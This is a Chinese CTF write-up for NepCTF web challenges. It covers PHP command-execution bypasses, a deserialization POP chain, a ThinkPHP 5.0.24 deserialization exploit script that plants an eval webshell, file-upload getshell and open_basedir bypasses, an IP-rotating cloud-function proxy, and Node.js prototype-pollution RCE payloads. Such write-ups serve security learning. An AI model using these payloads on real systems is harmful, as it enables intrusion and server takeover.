web
littletrick
考点
- 命令执行绕过
代码
分析:$len限制了大小,$nep限制了长度,突发奇想,substr()有没有跟python的切片操作一样,把$len=-1,成功!$nep通过反引号执行命令,由于$len=-1使得$nep的最后一位被裁掉,所以需要增加一个没有用的字符1
2
3
4
5
6
7
8
9
10
11
error_reporting(0);
highlight_file(__FILE__);
$nep = $_GET['nep'];
$len = $_GET['len'];
if(intval($len)<8 && strlen($nep)<13){
eval(substr($nep,0,$len));
}else{
die('too long!');
}
最终payload:最后查看同目录1文件就有flag了1
?len=-1&nep=`nl *>1`;;
1
2
312
13 $flag = 'NepCTF{n3pn3p_l1ttle_tr1ck_c0me_bAck}';
14
梦里花开牡丹亭
题目描述
简单的PHP序列化
考点
- php反序列化POP链构造
- ZipArchive的open函数
- 命令执行绕过
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}
}
class register{
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
die('success register admin');
}else{
die('please register admin ');
}
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){
shell($content);
}else{
echo file_get_contents($filename.".php");
}
}
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
@unserialize(base64_decode($_POST['unser']));
}详解
md5和sha1的强比较绕过
一般来说这类hash函数的强比较绕过,应该第一时间想到数组
绕过、0x
十六进制、0b
二进制、科学计数法
这里要求md5相等、sha1强比较相等,而且本身的值强比较不相等,那只有数组了
payload:
1 | ?a[]=1&b[]=2 |
POP链构造
首先看__wakeup函数和__destruct函数,首先要满足
1 | md5($this->register)==="21232f297a57a5a743894a0e4a801fc3" |
查了md5,是admin
,所以确定Game()类的register属性是admin
,接下来通过__destruct()进入login类之后,进入checking函数
1 | public function checking($username,$password) |
因此令Game类的username
和password
都是admin
满足条件,接下来进入file的open函数
1 | function open($filename, $content){ |
由于waf.txt一直存在,所以只能进入else,根据提示读取include的shell.php,因此结合上面的线索构造payload
1 | $game = new Game(); |
得到
1 | unser=Tzo0OiJHYW1lIjo3OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6ImFkbWluIjtzOjY6ImNob2ljZSI7TjtzOjg6InJlZ2lzdGVyIjtzOjU6ImFkbWluIjtzOjQ6ImZpbGUiO086NDoiT3BlbiI6MDp7fXM6ODoiZmlsZW5hbWUiO3M6NToic2hlbGwiO3M6NzoiY29udGVudCI7czo0OiJ0ZXN0Ijt9 |
读取到shell.php(也可以用php://filter读)
1 |
|
从代码可以看到,shell()函数可以执行系统命令,做了长度的限制,但是问题不大,现在的问题就是waf.txt
一直存在,导致我们不能执行shell()
php的内置ZipArchive类
突破点在这里,这里的file不一定要代码里面的Open类
1 | $this->file->open($this->filename,$this->content); |
php的内置类ZipArchive
类有open函数,flag标志位为ZIPARCHIVE::OVERWRITE
时可以重写打开的压缩包
ZipArchive的官方文档
因此思路就清楚了,第一次先令file为ZipArchive
,filename为waf.txt
,content为ZIPARCHIVE::OVERWRITE
,将waf.txt置空,然后第二次再令file为Open
,fileanme随便,content=n\\\\l /flag
执行命令。
第一次
1 | $game = new Game(); |
第二次
1 | $game = new Game(); |
搞定~
faka_revenge
这道题来自2020年的网鼎杯线下半决赛faka
考点
- 代码审计
- 文件上传绕过
题目描述
张三的发卡网站去年被一群禽兽给~~了,不甘心的他留下了没有技术的泪水。
a few months later,faka2.0 is back full of anger。源码
https://camp.hackingfor.fun/
官网自取详解
网鼎杯解法
尝试得到后台管理员权限
源码下的tk.sql
存在这一句
1 | LOCK TABLES `system_user` WRITE; |
对应字段
1 | CREATE TABLE `system_user` ( |
这里向system_user
表插入了admin管理员,并且authorize字段是3表示管理员,不然都是普通账号
注册点在application\admin\controller\Index.php
下的info方法
1 | public function info() |
填写资料抓包,然后把authorize改成3
得到管理员权限
文件上传getshell
漏洞利用点:/admin/plugs/upfile.html,其实这里没有授权也可以访问的,前面取得管理员账号可以说是没必要
原理:https://xz.aliyun.com/t/7838
构造payload
1 |
|
得到token是1d3eb018ca985d5fb7668cc8112f2cd3
,然后只要抓包将md5改成73058d518344b513098c51845768.php
,filename改成”*.png”,图片头加上gif的GIF89a绕过图片头验证,就能通过验证
显示上传失败但是其实成功了
访问/static/upload/73058d518344b513/098c51845768.php ,getshell!!!
nepctf解法
前面管理员部分nepctf不能获得系统管理员
并且/amdin/plugs/upfile上传部分,拓展名始终保持png或jpg
那么这里就要用别的方法,比如说tp的文件包含
原理:https://github.com/Mochazz/ThinkPHP-Vuln/blob/master/ThinkPHP5/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB7.md
在源码文件夹搜索assign()函数,并且须存在可控参数
由于/wechat/Review.php存在assign(),且$get可控,因此存在漏洞
1 | public function index() |
构造payload包含我们刚刚上传的文件
但是这里存在open_basedir需要绕过
1 | printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir')); |
构造payload读取zhangsan_secret.txt
1 | mkdir('tmpdir'); |
注意需要把换行符\n去掉
官方wp
ThinkPHP 5.0.24反序列化漏洞
原理:
https://www.jianshu.com/p/bb54c6e1c1b4
https://b1eed.github.io/2020/03/25/Thinkphp5.0.24-unserialize
https://www.anquanke.com/post/id/196364#h2-6
exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51#coding:utf-8
import requests
from urllib.parse import unquote, quote
from requests.api import head
proxies = {
'http': '127.0.0.1:8080'
}
#exp如下:⼀键getshell,再往后直接命令执⾏拿flag,
#或者想绕过下open _basedir翻⽬录拿都⾏(https://github.com/mm0r1/exploits。
def mkdir1(url):
payload1 ="O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A5%3A%22files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A5%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22no%22%3Bi%3A1%3Bs%3A3%3A%22123%22%3B%7Ds%3A8%3A%22%00%2A%00model%22%3Bs%3A20%3A%22think%5Cconsole%5COutput%22%3B%7Ds%3A6%3A%22parent%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A17%3A%22.%2Fstatic%2Fruntime%2F%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7Ds%3A15%3A%22%00%2A%00selfRelation%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A17%3A%22.%2Fstatic%2Fruntime%2F%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7D%7D%7D"
payload2 ='_method=__construct&filter[]=unserialize&server[]=phpinfo&get[]={}'.format(payload1)
resl = requests.post(url,data = payload2,cookies = cookies,headers =headers)
res2 = requests.get(url + '/static/runtime/',cookies = cookies,headers =headers)
if(res2.status_code == 403):
print(' [ + ] ./static/runtime目录创建成功')
def mkdir2(url):
payload1="O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A5%3A%22files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A5%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22no%22%3Bi%3A1%3Bs%3A3%3A%22123%22%3B%7Ds%3A8%3A%22%00%2A%00model%22%3Bs%3A20%3A%22think%5Cconsole%5COutput%22%3B%7Ds%3A6%3A%22parent%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A61%3A%22.%2Fstatic%2Fruntime%2FaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2F%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7Ds%3A15%3A%22%00%2A%00selfRelation%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A61%3A%22.%2Fstatic%2Fruntime%2FaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2F%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7D%7D%7D"
payload2 ="_method=__construct&filter[]=unserialize&server[]=phpinfo&get[]={}".format(payload1)
res1 = requests.post(url,data = payload2,cookies = cookies,headers = headers)
res2 = requests.get(url +'/static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/',cookies=cookies,headers = headers)
if(res2.status_code == 403):
print('[+]./static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/⽬录创建成功')
def getshell(url):
payload1 ='O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A5%3A%22files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A5%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22no%22%3Bi%3A1%3Bs%3A3%3A%22123%22%3B%7Ds%3A8%3A%22%00%2A%00model%22%3Bs%3A20%3A%22think%5Cconsole%5COutput%22%3B%7Ds%3A6%3A%22parent%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A136%3A%22php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%7Cconvert.base64-decode%2Fresource%3D.%2Fstatic%2Fruntime%2FaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2Fa.php%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7Ds%3A15%3A%22%00%2A%00selfRelation%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A136%3A%22php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%7Cconvert.base64-decode%2Fresource%3D.%2Fstatic%2Fruntime%2FaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2Fa.php%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7D%7D%7D'
payload2 ='_method=__construct&filter[]=unserialize&server[]=phpifo&get[]={}'.format(payload1)
res1 = requests.post(url,data=payload2,cookies=cookies,headers=headers)
res2 = requests.get(url+'/static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/a.php3b58a9545013e88c7186db11bb158c44.php',cookies=cookies,headers=headers)
if(res2.status_code==200):
print('[+] shell写入成功')
print('[+] shell地址为:'+url+'static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/a.php3b58a9545013e88c7186db11bb158c44.php')
if __name__ == '__main__':
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
cookies = {
'freeze_money_tip': '1',
's7466e88d': 'opa9cr1vj7khejdns52ar571mj'
}
url ='http://256ca4d1-0054-455a-83eb-89708e5dbc1a.node1.hackingfor.fun/'
#shell密码: ccc
mkdir1(url)
mkdir2(url)
getshell(url)结果:
ThinkPHP RCE漏洞
链接:https://hackerqwq.github.io/2020/11/10/THINKPHP-poc-collection/
由于没有禁用passthru函数,因此将system换成passthru即可
payload:
1 | /?s=index/index |
bbxhh_revenge
考点
- 云函数的运用
题目描述
小红花又双叒叕遇到黑页了,不过这个黑页好像有点奇怪
让小红花回忆起来了刚学CTF的那段时光…详解
思路:运用云函数,无需服务器,从腾讯的多处服务器执行函数,相当于上了代理池了…
https://console.cloud.tencent.com/
去腾讯的云函数控制界面将这个python文件写入下面没有复现完,这是官方wp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38#!/usr/bin/env python
# coding:utf-8
import requests
import json
def getEverything(event):
url = getUrl(event['queryString'])
headers = event['headers']
data = getBody(event)
if data == False:
method = "get"
else:
method = "post"
return url, headers, method, data
def getUrl(queryString):
if "u" in queryString:
return queryString['u']
else:
return "http://www.baidu.com"
def getBody(event):
if 'body' in event:
body = event['body']
s = '{"' + body.replace('=','":"').replace('&','", "') + '"}'
return json.loads(s)
else:
return False
def main_handler(event, context):
url, headers, method, data = getEverything(event)
if method == "get":
resp = requests.get(url, headers = headers, verify = False)
else:
resp = requests.post(url, data = data, headers = headers, verify =False)
response={
"isBase64Encoded": False, "statusCode": 200,
"headers": {'Content-Type': 'text/html'}, "body": resp.text}
return response
最后flag在黑色的页面中,F12就能看到了
php的原生反射机制还不懂,后续写一篇博客学习学习
gamejs
题目描述
好好玩游戏不香吗
考点
- nodejs的原型链污染
- JSON绕过变量属性验证
- NAN绕过数字
详解
record路由是突破点
1 | var score = req.body.score; |
通过post的score传参
JSON绕过属性验证
1 | app.use(bodyParser.json()); |
由于启用了bodyParser.json()
因此可以构造
1 | {"score":{"length":1}} |
merge造成的原型链污染
相关代码
1 | merge(record, { |
追踪merge函数
1 | var merge = function (target, source) { |
典型的js原型链污染
先看下一步
1 | highestScore = highestScore > parseInt(score) ? highestScore : parseInt(score); |
需要进入到unserialize函数,那么需要score-higestScore<0
出错,上面我们构造的payload就可以直接绕过
接下来跟进unserialize函数
1 | var unserialize = function(obj) { |
这里放一张图
关键点要让obj[key]为我们的payload,所以可以通过上面的merge造成原型链污染,使得所有的对象都带有我们的函数,那么就需要原型链污染到null
构造payload
1 | {"score":{"__proto__":{"__proto__":{"test":"123"}}},"length":1} |
污染成功
因此我们的payload为
1 | {"score":{"__proto__":{"__proto__":{"test":"_$$ND_FUNC$$_PAYLOAD"}}},"length":1} |
接下来进入validCode
1 | var validCode = function (func_code){ |
可以通过十六进制绕过
接下来是Y4tacker师傅的思路
因为没有回显,这里采用报错方式配合二分法获得flag
1 | a = '69662870726f636573732e6d61696e4d6f64756c652e726571756972652822667322292e7265616446696c6553796e6328222f6574632f70617373776422292e746f537472696e6728295b305d3e227a22297b7d656c73657b7468726f77204572726f7228297d' |
因此得到
1 | import requests |
Easy_Tomcat
考点
详解
由于复现时间较晚,没有复现环境,wp参考Y4tacker师傅
https://y4tacker.blog.csdn.net/article/details/115097864
总结
- nodejs和java都不太熟,先学nodejs再学java安全
java安全感觉挺难的 - php原生反射机制也要学习
- 黑页那题涨见识了